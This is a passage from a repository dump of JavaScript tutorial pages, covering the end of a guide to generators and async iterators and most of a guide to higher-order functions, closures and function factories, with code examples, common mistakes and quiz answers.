decoder.decode(value, { stream: true }) const lines = buffer.split('\n') buffer = lines.pop() // Keep incomplete line in buffer for (const line of lines) { yield line } } } // Usage with fetch async function processLogFile(url) { const response = await fetch(url) const reader = response.body.getReader() for await (const line of readLines(reader)) { console.log('Log entry:', line) } } ``` <CardGroup cols={2}> <Card title="async function* — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function*"> Documentation for async generator functions </Card> <Card title="for await...of — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of"> Documentation for async iteration </Card> </CardGroup> --- ## Common Mistakes <AccordionGroup> <Accordion title="Mistake 1: Forgetting the asterisk in function*"> ```javascript // ❌ WRONG — This is a regular function, not a generator function myGenerator() { yield 1 // SyntaxError: Unexpected number } // ✓ CORRECT — Note the asterisk function* myGenerator() { yield 1 } ``` The asterisk can go next to `function` or next to the name — both work: ```javascript function* foo() {} // ✓ function *foo() {} // ✓ function * foo() {} // ✓ ``` </Accordion> <Accordion title="Mistake 2: Expecting generator to run immediately"> ```javascript // ❌ WRONG — Nothing happens when you call a generator function function* greet() { console.log('Hello!') yield 'Hi' } greet() // Nothing logged! Returns generator object // ✓ CORRECT — You must call .next() or iterate const gen = greet() gen.next() // NOW it logs "Hello!" // Or use for...of for (const val of greet()) { console.log(val) } ``` </Accordion> <Accordion title="Mistake 3: Using return instead of yield for iteration values"> ```javascript // ❌ WRONG — return value won't appear in for...of function* letters() { yield 'a' yield 'b' return 'c' // This won't be iterated! } console.log([...letters()]) // ['a', 'b'] — no 'c'! // ✓ CORRECT — Use yield for all iteration values function* letters() { yield 'a' yield 'b' yield 'c' } console.log([...letters()]) // ['a', 'b', 'c'] ``` </Accordion> <Accordion title="Mistake 4: Reusing an exhausted generator"> ```javascript // ❌ WRONG — Generators can only be iterated once function* nums() { yield 1 yield 2 } const gen = nums() console.log([...gen]) // [1, 2] console.log([...gen]) // [] — generator is exhausted! // ✓ CORRECT — Create a new generator each time console.log([...nums()]) // [1, 2] console.log([...nums()]) // [1, 2] ``` </Accordion> <Accordion title="Mistake 5: Infinite loop without break condition"> ```javascript // ❌ DANGER — This will hang your program function* forever() { let i = 0 while (true) { yield i++ } } const all = [...forever()] // Infinite loop trying to collect all values! // ✓ SAFE — Use take() or break early function* take(n, gen) { let count = 0 for (const val of gen) { if (count++ >= n) return yield val } } const firstHundred = [...take(100, forever())] // Safe! ``` </Accordion> <Accordion title="Mistake 6: Using generators when arrays would be simpler"> ```javascript // ❌ OVERKILL — If you're just returning a fixed list, use an array function* getDaysOfWeek() { yield 'Monday' yield 'Tuesday' yield 'Wednesday' yield 'Thursday' yield 'Friday' yield 'Saturday' yield 'Sunday' } // ✓ SIMPLER — Just use an array const daysOfWeek = [ 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday' ] ``` **Use generators when:** - Values are computed on-demand (lazy) - Sequence is infinite or very large - You need to pause/resume execution - Values come from async operations **Use arrays when:** - You have a fixed, known set of values - Values are already computed - You need random access (`array[5]`) </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The short version:** 1. **Iterators** are objects with a `.next()` method that returns `{ value, done }` 2. **Generators** are functions that pause at `yield` and resume at `.next()` 3. **Don't forget the asterisk** — it's `function*`, not `function` 4. **`yield` pauses, `return` ends** — and `return` values don't show up in `for...of` 5. **`yield*` passes through** all values from another iterable 6. **Generators are lazy** — nothing runs until you ask for it 7. **Infinite sequences work** because generators compute on-demand 8. **`Symbol.iterator`** is how you make objects work with `for...of` 9. **Async generators** (`async function*`) let you `await` inside and iterate with `for await...of` 10. **Generators are single-use** — once done, you need a fresh one </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the difference between yield and return in a generator?"> **Answer:** - `yield` **pauses** the generator and returns `{ value, done: false }`. The generator can resume from where it paused. - `return` **ends** the generator and returns `{ value, done: true }`. The generator cannot resume. Important: Values from `return` are NOT included when using `for...of`, spread syntax, or `Array.from()`. ```javascript function* example() { yield 'A' // Included in iteration yield 'B' // Included in iteration return 'C' // NOT included in for...of! } console.log([...example()]) // ['A', 'B'] ``` </Accordion> <Accordion title="Question 2: How do you make a custom object iterable?"> **Answer:** Add a `[Symbol.iterator]` method that returns an iterator (an object with a `.next()` method): ```javascript const myObject = { data: [1, 2, 3], // Method 1: Return an iterator object [Symbol.iterator]() { let index = 0 const data = this.data return { next() { if (index < data.length) { return { value: data[index++], done: false } } return { done: true } } } } } // Method 2: Use a generator (simpler!) const myObject2 = { data: [1, 2, 3], *[Symbol.iterator]() { yield* this.data } } ``` </Accordion> <Accordion title="Question 3: What will this code output?"> ```javascript function* gen() { console.log('A') yield 1 console.log('B') yield 2 console.log('C') } const g = gen() console.log('Start') console.log(g.next().value) console.log('Middle') console.log(g.next().value) ``` **Answer:** ``` Start A 1 Middle B 2 ``` **Explanation:** 1. `gen()` creates the generator but doesn't run any code 2. `'Start'` logs 3. First `g.next()` runs until first `yield` — logs `'A'`, returns `{ value: 1, done: false }` 4. We log the value `1` 5. `'Middle'` logs 6. Second `g.next()` resumes and runs until second `yield` — logs `'B'`, returns `{ value: 2, done: false }` 7. We log the value `2` 8. `'C'` never logs because we didn't call `g.next()` a third time </Accordion> <Accordion title="Question 4: How can you pass values INTO a generator?"> **Answer:** Pass values as arguments to `.next(value)`. The value becomes the result of the `yield` expression: ```javascript function* adder() { const a = yield 'Enter first number' const b = yield 'Enter second number' yield `Sum: ${a + b}` } const gen = adder() console.log(gen.next().value) // "Enter first number" console.log(gen.next(10).value) // "Enter second number" (a = 10) console.log(gen.next(5).value) // "Sum: 15" (b = 5) ``` Note: The first `.next()` starts the generator. Any value passed to it is ignored because there's no `yield` waiting to receive it yet. </Accordion> <Accordion title="Question 5: When would you use an async generator?"> **Answer:** Use async generators when you need to yield values from asynchronous operations: - **Paginated APIs** — Fetch and yield page by page - **Streaming data** — Process chunks as they arrive - **Database cursors** — Iterate through large result sets - **File processing** — Read and yield lines from large files ```javascript async function* fetchPages(url) { let page = 1 while (true) { const response = await fetch(`${url}?page=${page}`) const data = await response.json() if (data.items.length === 0) return yield data.items page++ } } // Consume with for await...of for await (const items of fetchPages('/api/products')) { processItems(items) } ``` </Accordion> <Accordion title="Question 6: Why can't you use [...infiniteGenerator()]?"> **Answer:** Spread syntax (`...`) tries to collect ALL values into an array. With an infinite generator, this means infinite iteration. Your program will hang trying to collect infinite values. ```javascript function* forever() { let i = 0 while (true) yield i++ } // ❌ DANGER — Hangs forever! const all = [...forever()] // ✓ SAFE — Limit how many you take function* take(n, gen) { let i = 0 for (const val of gen) { if (i++ >= n) return yield val } } const first100 = [...take(100, forever())] ``` Always use a limiting function like `take()`, or manually call `.next()` a specific number of times. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a generator function in JavaScript?"> A generator function, declared with `function*`, is a special function that can pause its execution with `yield` and resume later. Each call to the generator's `.next()` method runs the function until the next `yield` and returns the yielded value. Generators were introduced in ECMAScript 2015 and are defined by the iteration protocols in the specification. </Accordion> <Accordion title="What is the difference between yield and return in a generator?"> `yield` pauses the generator and produces a value, but the generator can be resumed to continue execution. `return` terminates the generator permanently and sets `done: true` in the result object. A yielded value has `done: false`, while a returned value has `done: true`. Values produced by `return` are not included in `for...of` loops. </Accordion> <Accordion title="What are iterators in JavaScript?"> An iterator is an object that implements the iterator protocol — it has a `.next()` method that returns `{ value, done }` objects. As documented on MDN, many built-in JavaScript types are iterable (Arrays, Strings, Maps, Sets), meaning they have a `Symbol.iterator` method that returns an iterator. Generators automatically create iterators. </Accordion> <Accordion title="What is lazy evaluation in JavaScript generators?"> Lazy evaluation means values are computed only when requested, not upfront. Generators are inherently lazy — they compute each value on demand when `.next()` is called. This is memory-efficient because you never hold the entire sequence in memory. It also enables infinite sequences, where computing all values upfront would be impossible. </Accordion> <Accordion title="What are async generators and when should you use them?"> Async generators combine `async function*` syntax with `yield` to produce values asynchronously. They are consumed with `for await...of` loops and are ideal for streaming data from APIs, reading files line by line, or paginating through large datasets. According to MDN, async generators were standardized in ECMAScript 2018 as part of the async iteration proposal. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> Generators pair nicely with map, filter, and reduce patterns </Card> <Card title="Promises" icon="handshake" href="/concepts/promises"> Async generators are built on Promises </Card> <Card title="async/await" icon="clock" href="/concepts/async-await"> The other half of async generators — you'll use both together </Card> <Card title="Event Loop" icon="arrows-spin" href="/concepts/event-loop"> How async generators fit into JavaScript's execution model </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Generator — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator"> The Generator object and its methods — `.next()`, `.return()`, `.throw()` </Card> <Card title="Iteration Protocols — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols"> The spec for iterators and iterables. Good for understanding what's really going on. </Card> <Card title="function* — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*"> Generator function syntax and behavior </Card> <Card title="yield — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield"> Everything about the yield operator </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="The Basics of ES6 Generators" icon="newspaper" href="https://davidwalsh.name/es6-generators"> Kyle Simpson (You Don't Know JS) breaks down how generators work under the hood. </Card> <Card title="Generators — JavaScript.info" icon="newspaper" href="https://javascript.info/generators"> Interactive tutorial with runnable examples. Great for hands-on learning. </Card> <Card title="Async Iterators and Generators — JavaScript.info" icon="newspaper" href="https://javascript.info/async-iterators-generators"> Picks up where the sync guide leaves off — async generators and `for await...of`. </Card> <Card title="Iterators and Generators — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators"> The official MDN walkthrough. Solid reference for both concepts. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Generators in JavaScript — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=ategZqxHkz4"> Mattias Petter Johansson makes generators fun. Seriously. </Card> <Card title="JavaScript Iterators and Generators — Fireship" icon="video" href="https://www.youtube.com/watch?v=IJ6EgdiI_wU"> The fast version. 100 seconds and you'll get the gist. </Card> <Card title="JavaScript ES6 Generators — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=dcP039DYzmE"> Brad Traversy's walkthrough. Great if you like to code along. </Card> </CardGroup> ================================================ FILE: docs/concepts/higher-order-functions.mdx ================================================ --- title: "Higher-Order Functions" sidebarTitle: "Higher-Order Functions: Functions That Use Functions" description: "Learn higher-order functions in JavaScript. Understand functions that accept or return other functions, create reusable abstractions, and write cleaner code." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Functional Programming" "article:tag": "higher-order functions, functions as arguments, function composition, functional programming" --- What if you could tell a function *how* to do something, not just *what* data to work with? What if you could pass behavior itself as an argument, just like you pass numbers or strings? ```javascript // Without higher-order functions: repetitive code for (let i = 0; i < 3; i++) { console.log(i) } // With higher-order functions: reusable abstraction function repeat(times, action) { for (let i = 0; i < times; i++) { action(i) } } repeat(3, console.log) // 0, 1, 2 repeat(3, i => console.log(i * 2)) // 0, 2, 4 ``` This is the power of **higher-order functions**. They let you write functions that are flexible, reusable, and abstract. Instead of writing the same loop over and over with slightly different logic, you write one function and pass in the logic that changes. As [MDN documents](https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function), JavaScript treats functions as first-class citizens — they can be assigned to variables, passed as arguments, and returned from other functions — which is the foundation that makes higher-order functions possible. <Info> **What you'll learn in this guide:** - What makes a function "higher-order" - The connection between first-class functions and HOFs - How to create functions that accept other functions - How to create functions that return other functions (function factories) - How closures enable higher-order functions - Common mistakes and how to avoid them - When and why to use higher-order functions </Info> <Warning> **Prerequisites:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). Closures are created when higher-order functions return other functions. You should also be familiar with [callbacks](/concepts/callbacks), since callbacks are the functions being passed to higher-order functions. </Warning> --- ## What is a Higher-Order Function? A **higher-order function** is a function that does at least one of these two things: 1. **Accepts one or more functions as arguments** 2. **Returns a function as its result** That's it. If a function takes a function or returns a function, it's higher-order. The [ECMAScript specification](https://tc39.es/ecma262/#sec-function-objects) defines functions as callable objects, and because JavaScript allows any object to be passed around, functions naturally flow through higher-order patterns. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), functional programming techniques like higher-order functions rank among the most widely used JavaScript patterns. ```javascript // 1. Accepts a function as an argument function doTwice(action) { action() action() } doTwice(() => console.log('Hello!')) // Hello! // Hello! // 2. Returns a function as its result function createGreeter(greeting) { return function(name) { return `${greeting}, ${name}!` } } const sayHello = createGreeter('Hello') console.log(sayHello('Alice')) // Hello, Alice! console.log(sayHello('Bob')) // Hello, Bob! ``` <Tip> **The name "higher-order"** comes from mathematics, where functions that operate on other functions are considered to be at a "higher level" of abstraction. In JavaScript, we just call them higher-order functions, or HOFs for short. </Tip> ### Why Does This Matter? Higher-order functions let you: - **Avoid repetition**: Write the structure once, vary the behavior - **Create abstractions**: Hide complexity behind simple interfaces - **Build reusable utilities**: Functions that work with any logic you pass them - **Compose functionality**: Combine simple functions into complex ones Without higher-order functions, you'd repeat the same patterns over and over. With them, you write flexible code that adapts to different needs. --- ## The Pea Soup Analogy To understand why higher-order functions matter, let's look at an analogy from *Eloquent JavaScript*. Compare these two recipes for pea soup: **Recipe 1 (Low-level instructions):** > Put 1 cup of dried peas per person into a container. Add water until the peas are well covered. Leave the peas in water for at least 12 hours. Take the peas out of the water and put them in a cooking pan. Add 4 cups of water per person. Cover the pan and keep the peas simmering for two hours. Take half an onion per person. Cut it into pieces with a knife. Add it to the peas... **Recipe 2 (Higher-level instructions):** > Per person: 1 cup dried split peas, 4 cups of water, half a chopped onion, a stalk of celery, and a carrot. > > Soak peas for 12 hours. Simmer for 2 hours. Chop and add vegetables. Cook for 10 more minutes. The second recipe is shorter and easier to understand. But it requires you to know what "soak", "simmer", and "chop" mean. These are **abstractions**. They hide the step-by-step details behind meaningful names. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ LEVELS OF ABSTRACTION │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ HIGH LEVEL (What you want) │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ "Calculate the area for each radius" │ │ │ │ │ │ │ │ radii.map(calculateArea) │ │ │ └───────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ MEDIUM LEVEL (How to iterate) │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ function map(array, transform) { │ │ │ │ const result = [] │ │ │ │ for (const item of array) { │ │ │ │ result.push(transform(item)) │ │ │ │ } │ │ │ │ return result │ │ │ │ } │ │ │ └───────────────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ LOW LEVEL (Step by step) │ │ ┌───────────────────────────────────────────────────────────────┐ │ │ │ const result = [] │ │ │ │ for (let i = 0; i < radii.length; i++) { │ │ │ │ const radius = radii[i] │ │ │ │ const area = Math.PI * radius * radius │ │ │ │ result.push(area) │ │ │ │ } │ │ │ └───────────────────────────────────────────────────────────────┘ │ │ │ │ Higher-order functions let you work at the level that makes sense │ │ for your problem, hiding the mechanical details below. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Higher-order functions are how we create these abstractions in JavaScript. We package up common patterns (like "do something to each item") into reusable functions, then pass in the specific behavior we need. --- ## First-Class Functions: The Foundation Higher-order functions are possible because JavaScript has **[first-class functions](https://developer.mozilla.org/en-US/docs/Glossary/First-class_Function)**. This means functions are treated like any other value. You can: ### 1. Assign Functions to Variables ```javascript // Functions are values, just like numbers or strings const greet = function(name) { return `Hello, ${name}!` } // Arrow functions work the same way const add = (a, b) => a + b console.log(greet('Alice')) // Hello, Alice! console.log(add(2, 3)) // 5 ``` ### 2. Pass Functions as Arguments ```javascript function callTwice(fn) { fn() fn() } callTwice(function() { console.log('This runs twice!') }) // This runs twice! // This runs twice! ``` ### 3. Return Functions from Functions ```javascript function createMultiplier(multiplier) { // This returned function "remembers" the multiplier return function(number) { return number * multiplier } } const double = createMultiplier(2) const triple = createMultiplier(3) console.log(double(5)) // 10 console.log(triple(5)) // 15 ``` <Note> **Not all languages have first-class functions.** In languages like C, you can't easily pass functions around as values. Java added lambda expressions in version 8, but they work differently than JavaScript functions. JavaScript's first-class functions make functional programming patterns natural and powerful. </Note> --- ## Higher-Order Functions That Accept Functions The most common type of HOF accepts a function as an argument. You pass in *what* should happen, and the HOF handles *when* and *how* it happens. ### Example: A Reusable `repeat` Function Instead of writing loops everywhere, create a function that handles the looping: ```javascript function repeat(times, action) { for (let i = 0; i < times; i++) { action(i) } } // Now you can reuse this for any repeated action repeat(3, i => console.log(`Iteration ${i}`)) // Iteration 0 // Iteration 1 // Iteration 2 repeat(5, i => console.log('*'.repeat(i + 1))) // * // ** // *** // **** // ***** ``` The `repeat` function doesn't know or care what action you want to perform. It just knows how to repeat something. You provide the "something." ### Example: A Flexible `calculate` Function Suppose you need to calculate different properties of circles: ```javascript // Without HOF: repetitive code function calculateAreas(radii) { const result = [] for (let i = 0; i < radii.length; i++) { result.push(Math.PI * radii[i] * radii[i]) } return result } function calculateCircumferences(radii) { const result = [] for (let i = 0; i < radii.length; i++) { result.push(2 * Math.PI * radii[i]) } return result } function calculateDiameters(radii) { const result = [] for (let i = 0; i < radii.length; i++) { result.push(2 * radii[i]) } return result } ``` That's a lot of repetition! The only thing that changes is the formula. Let's use a higher-order function: ```javascript // With HOF: write the loop once, pass in the logic function calculate(radii, formula) { const result = [] for (const radius of radii) { result.push(formula(radius)) } return result } // Define the specific logic separately const area = r => Math.PI * r * r const circumference = r => 2 * Math.PI * r const diameter = r => 2 * r const radii = [1, 2, 3] console.log(calculate(radii, area)) // [3.14159..., 12.56637..., 28.27433...] console.log(calculate(radii, circumference)) // [6.28318..., 12.56637..., 18.84955...] console.log(calculate(radii, diameter)) // [2, 4, 6] ``` Now adding a new calculation is easy. Just write a new formula function: ```javascript // Works for any formula that takes a radius! const squaredRadius = r => r * r console.log(calculate(radii, squaredRadius)) // [1, 4, 9] ``` ### Example: An `unless` Function You can create new control flow abstractions: ```javascript function unless(condition, action) { if (!condition) { action() } } // Use it to express "do this unless that" repeat(5, n => { unless(n % 2 === 1, () => { console.log(n, 'is even') }) }) // 0 is even // 2 is even // 4 is even ``` This reads almost like English: "Unless n is odd, log that it's even." --- ## Higher-Order Functions That Return Functions The second type of HOF returns a function. This is powerful because the returned function can "remember" values from when it was created. ### Example: The `greaterThan` Factory ```javascript function greaterThan(n) { return function(m) { return m > n } } const greaterThan10 = greaterThan(10) const greaterThan100 = greaterThan(100) console.log(greaterThan10(11)) // true console.log(greaterThan10(5)) // false console.log(greaterThan100(50)) // false console.log(greaterThan100(150)) // true ``` `greaterThan` is a **function factory**. You give it a number, and it manufactures a new function that tests if other numbers are greater than that number. ### Example: The `multiplier` Factory ```javascript function multiplier(factor) { return number => number * factor } const double = multiplier(2) const triple = multiplier(3) const tenX = multiplier(10) console.log(double(5)) // 10 console.log(triple(5)) // 15 console.log(tenX(5)) // 50 // You can use the factory directly too console.log(multiplier(7)(3)) // 21 ``` ### Example: A `noisy` Wrapper Higher-order functions can wrap other functions to add behavior: ```javascript function noisy(fn) { return function(...args) { console.log('Calling with arguments:', args) const result = fn(...args) console.log('Returned:', result) return result } } const noisyMax = noisy(Math.max) noisyMax(3, 1, 4, 1, 5) // Calling with arguments: [3, 1, 4, 1, 5] // Returned: 5 const noisyFloor = noisy(Math.floor) noisyFloor(4.7) // Calling with arguments: [4.7] // Returned: 4 ``` The original functions (`Math.max`, `Math.floor`) are unchanged. We've created new functions that log their inputs and outputs, wrapping the original behavior. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE WRAPPER PATTERN │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Original Function Wrapped Function │ │ ┌─────────────────┐ ┌─────────────────────────────────┐ │ │ │ │ │ 1. Log the arguments │ │ │ │ Math.max │ noisy() │ 2. Call Math.max │ │ │ │ │ ────────► │ 3. Log the result │ │ │ │ (3,1,4,1,5) → 5 │ │ 4. Return the result │ │ │ │ │ │ │ │ │ └─────────────────┘ └─────────────────────────────────┘ │ │ │ │ The wrapper adds behavior before and after, without changing │ │ the original function. This is the "decorator" pattern. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## Function Factories in Practice Function factories are functions that create and return other functions. They're useful when you need many similar functions that differ only in some configuration. ### Example: Creating Validators ```javascript function createValidator(min, max) { return function(value) { return value >= min && value <= max } } const isValidAge = createValidator(0, 120) const isValidPercentage = createValidator(0, 100) const isValidRating = createValidator(1, 5) console.log(isValidAge(25)) // true console.log(isValidAge(150)) // false console.log(isValidPercentage(50)) // true console.log(isValidPercentage(101)) // false console.log(isValidRating(3)) // true ``` ### Example: Creating Formatters ```javascript function createFormatter(prefix, suffix) { return function(value) { return `${prefix}${value}${suffix}` } } const formatDollars = createFormatter('$', '') const formatPercent = createFormatter('', '%') const formatParens = createFormatter('(', ')') console.log(formatDollars(99.99)) // $99.99 console.log(formatPercent(75)) // 75% console.log(formatParens('aside')) // (aside) ``` ### Example: Pre-filling Arguments (Partial Application) ```javascript function partial(fn, ...presetArgs) { return function(...laterArgs) { return fn(...presetArgs, ...laterArgs) } } function greet(greeting, punctuation, name) { return `${greeting}, ${name}${punctuation}` } const sayHello = partial(greet, 'Hello', '!') const askHowAreYou = partial(greet, 'How are you', '?') console.log(sayHello('Alice')) // Hello, Alice! console.log(sayHello('Bob')) // Hello, Bob! console.log(askHowAreYou('Charlie')) // How are you, Charlie? ``` --- ## The Closure Connection Higher-order functions that return functions rely on **[closures](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)**. When a function is created inside another function, it "closes over" the variables in its surrounding scope, remembering them even after the outer function has finished. ```javascript function createCounter(start = 0) { let count = start // This variable is "enclosed" return function() { count++ // The inner function can access and modify it return count } } const counter1 = createCounter() const counter2 = createCounter(100) console.log(counter1()) // 1 console.log(counter1()) // 2 console.log(counter1()) // 3 console.log(counter2()) // 101 console.log(counter2()) // 102 // Each counter has its own private count variable console.log(counter1()) // 4 (not affected by counter2) ``` ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ HOW CLOSURES WORK WITH HOFs │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ createCounter(0) createCounter(100) │ │ ┌─────────────────────┐ ┌─────────────────────┐ │ │ │ count = 0 │ │ count = 100 │ │ │ │ │ │ │ │ │ │ ┌───────────────┐ │ │ ┌───────────────┐ │ │ │ │ │ function() { │ │ │ │ function() { │ │ │ │ │ │ count++ │◄─┼───────┐ │ │ count++ │◄─┼───────┐ │ │ │ │ return count│ │ │ │ │ return count│ │ │ │ │ │ │ } │ │ │ │ │ } │ │ │ │ │ │ └───────────────┘ │ │ │ └───────────────┘ │ │ │ │ └─────────────────────┘ │ └─────────────────────┘ │ │ │ │ │ │ │ │ │ ▼ │ ▼ │ │ │ counter1 ───────────────┘ counter2 ───────────────┘ │ │ │ │ Each returned function has its own "backpack" containing the │ │ variables from when it was created. This is a closure. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Private Variables Through Closures This pattern creates truly private variables. Nothing outside can access `count` directly: ```javascript function createBankAccount(initialBalance) { let balance = initialBalance // Private variable return { deposit(amount) { if (amount > 0) { balance += amount return balance } }, withdraw(amount) { if (amount > 0 && amount <= balance) { balance -= amount return balance } return 'Insufficient funds' }, getBalance() { return balance } } } const account = createBankAccount(100) console.log(account.getBalance()) // 100 console.log(account.deposit(50)) // 150 console.log(account.withdraw(30)) // 120 // Can't access balance directly console.log(account.balance) // undefined ``` --- ## Built-in Higher-Order Functions JavaScript provides many built-in higher-order functions, especially for working with arrays. These are covered in depth in the [Map, Reduce, and Filter](/concepts/map-reduce-filter) guide, but here's a quick overview: | Method | What it does | Returns | |--------|--------------|---------| | [`forEach(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach) | Calls `fn` on each element | `undefined` | | [`map(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map) | Transforms each element with `fn` | New array | | [`filter(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) | Keeps elements where `fn` returns `true` | New array | | [`reduce(fn, init)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) | Accumulates elements into single value | Single value | | [`find(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/find) | Returns first element where `fn` returns `true` | Element or `undefined` | | [`some(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/some) | Tests if any element passes `fn` | `boolean` | | [`every(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/every) | Tests if all elements pass `fn` | `boolean` | | [`sort(fn)`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort) | Sorts elements using comparator `fn` | Sorted array (mutates!) | ```javascript const numbers = [1, 2, 3, 4, 5] // All of these accept a function as an argument numbers.forEach(n => console.log(n)) // Logs each number numbers.map(n => n * 2) // [2, 4, 6, 8, 10] numbers.filter(n => n > 2) // [3, 4, 5] numbers.reduce((sum, n) => sum + n, 0) // 15 numbers.find(n => n > 3) // 4 numbers.some(n => n > 4) // true numbers.every(n => n > 0) // true ``` <Note> For a deep dive into these methods with practical examples, see [Map, Reduce, and Filter](/concepts/map-reduce-filter). </Note> --- ## Common Mistakes ### 1. Forgetting to Return in Arrow Functions When using curly braces in arrow functions, you must explicitly `return`: ```javascript // ❌ WRONG - implicit return only works without braces const double = numbers.map(n => { n * 2 // This doesn't return anything! }) console.log(double) // [undefined, undefined, undefined, ...] // ✓ CORRECT - explicit return with braces const double = numbers.map(n => { return n * 2 }) // ✓ CORRECT - implicit return without braces const double = numbers.map(n => n * 2) ``` ### 2. Losing `this` Context When passing methods as callbacks, `this` may not be what you expect: ```javascript const user = { name: 'Alice', greet() { console.log(`Hello, I'm ${this.name}`) } } // ❌ WRONG - 'this' is lost setTimeout(user.greet, 1000) // "Hello, I'm undefined" // ✓ CORRECT - bind the context setTimeout(user.greet.bind(user), 1000) // "Hello, I'm Alice" // ✓ CORRECT - use an arrow function wrapper setTimeout(() => user.greet(), 1000) // "Hello, I'm Alice" ``` ### 3. The `parseInt` Gotcha with `map` `map` passes three arguments to its callback: `(element, index, array)`. Some functions don't expect this: ```javascript // ❌ WRONG - parseInt receives (string, index) and uses index as radix ['1', '2', '3'].map(parseInt) // [1, NaN, NaN] // Why? map calls: // parseInt('1', 0) → 1 (radix 0 is treated as 10) // parseInt('2', 1) → NaN (radix 1 is invalid) // parseInt('3', 2) → NaN (3 is not valid in binary) // ✓ CORRECT - wrap parseInt to only pass the string ['1', '2', '3'].map(str => parseInt(str, 10)) // [1, 2, 3] // ✓ CORRECT - use Number instead ['1', '2', '3'].map(Number) // [1, 2, 3] ``` ### 4. Using Higher-Order Functions When a Simple Loop is Clearer Don't force HOFs when a simple loop would be clearer: ```javascript // Sometimes this is clearer... let sum = 0 for (const n of numbers) { sum += n } // ...than this (for simple cases) const sum = numbers.reduce((acc, n) => acc + n, 0) ``` Use HOFs when they make the code more readable, not just to seem clever. --- ## Key Takeaways <Info> **The key things to remember:** 1. **A higher-order function** accepts functions as arguments OR returns a function. If it does either, it's higher-order. 2. **First-class functions** make HOFs possible. In JavaScript, functions are values you can assign, pass, and return. 3. **HOFs that accept functions** let you parameterize behavior. Write the structure once, pass in what varies. 4. **HOFs that return functions** create function factories. They "manufacture" specialized functions from a template. 5. **Closures are the key** to functions returning functions. The returned function remembers variables from when it was created. 6. **Built-in array methods** like `map`, `filter`, `reduce`, `forEach`, `find`, `some`, and `every` are all higher-order functions. 7. **The abstraction benefit** is huge. HOFs let you work at the right level of abstraction, hiding mechanical details. 8. **Watch out for common gotchas** like losing `this`, forgetting to return, and unexpected arguments like with `parseInt`. 9. **Don't overuse HOFs**. Sometimes a simple loop is clearer. Use HOFs when they make code more readable, not less. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What makes a function 'higher-order'?"> **Answer:** A function is higher-order if it does at least one of these two things: 1. Accepts one or more functions as arguments 2. Returns a function as its result ```javascript // Accepts a function function doTwice(fn) { fn() fn() } // Returns a function function multiplier(factor) { return n => n * factor } // Does both! function compose(f, g) { return x => f(g(x)) } ``` </Accordion> <Accordion title="What's the relationship between callbacks and higher-order functions?"> **Answer:** They're two sides of the same coin: - A **callback** is a function passed to another function to be executed later - A **higher-order function** is a function that accepts (or returns) other functions When you pass a callback to a higher-order function, the HOF decides when to call it. ```javascript // setTimeout is a higher-order function // The arrow function is the callback setTimeout(() => console.log('Done!'), 1000) // map is a higher-order function // n => n * 2 is the callback [1, 2, 3].map(n => n * 2) ``` </Accordion> <Accordion title="Why does ['1','2','3'].map(parseInt) return [1, NaN, NaN]?"> **Answer:** `map` passes three arguments to its callback: `(element, index, array)`. `parseInt` accepts two arguments: `(string, radix)`. So `map` accidentally passes the index as the radix: ```javascript // What map actually calls: parseInt('1', 0) // 1 (radix 0 → default base 10) parseInt('2', 1) // NaN (radix 1 is invalid) parseInt('3', 2) // NaN (3 is not valid binary) ``` The fix is to wrap `parseInt`: ```javascript ['1', '2', '3'].map(str => parseInt(str, 10)) // [1, 2, 3] // or ['1', '2', '3'].map(Number) // 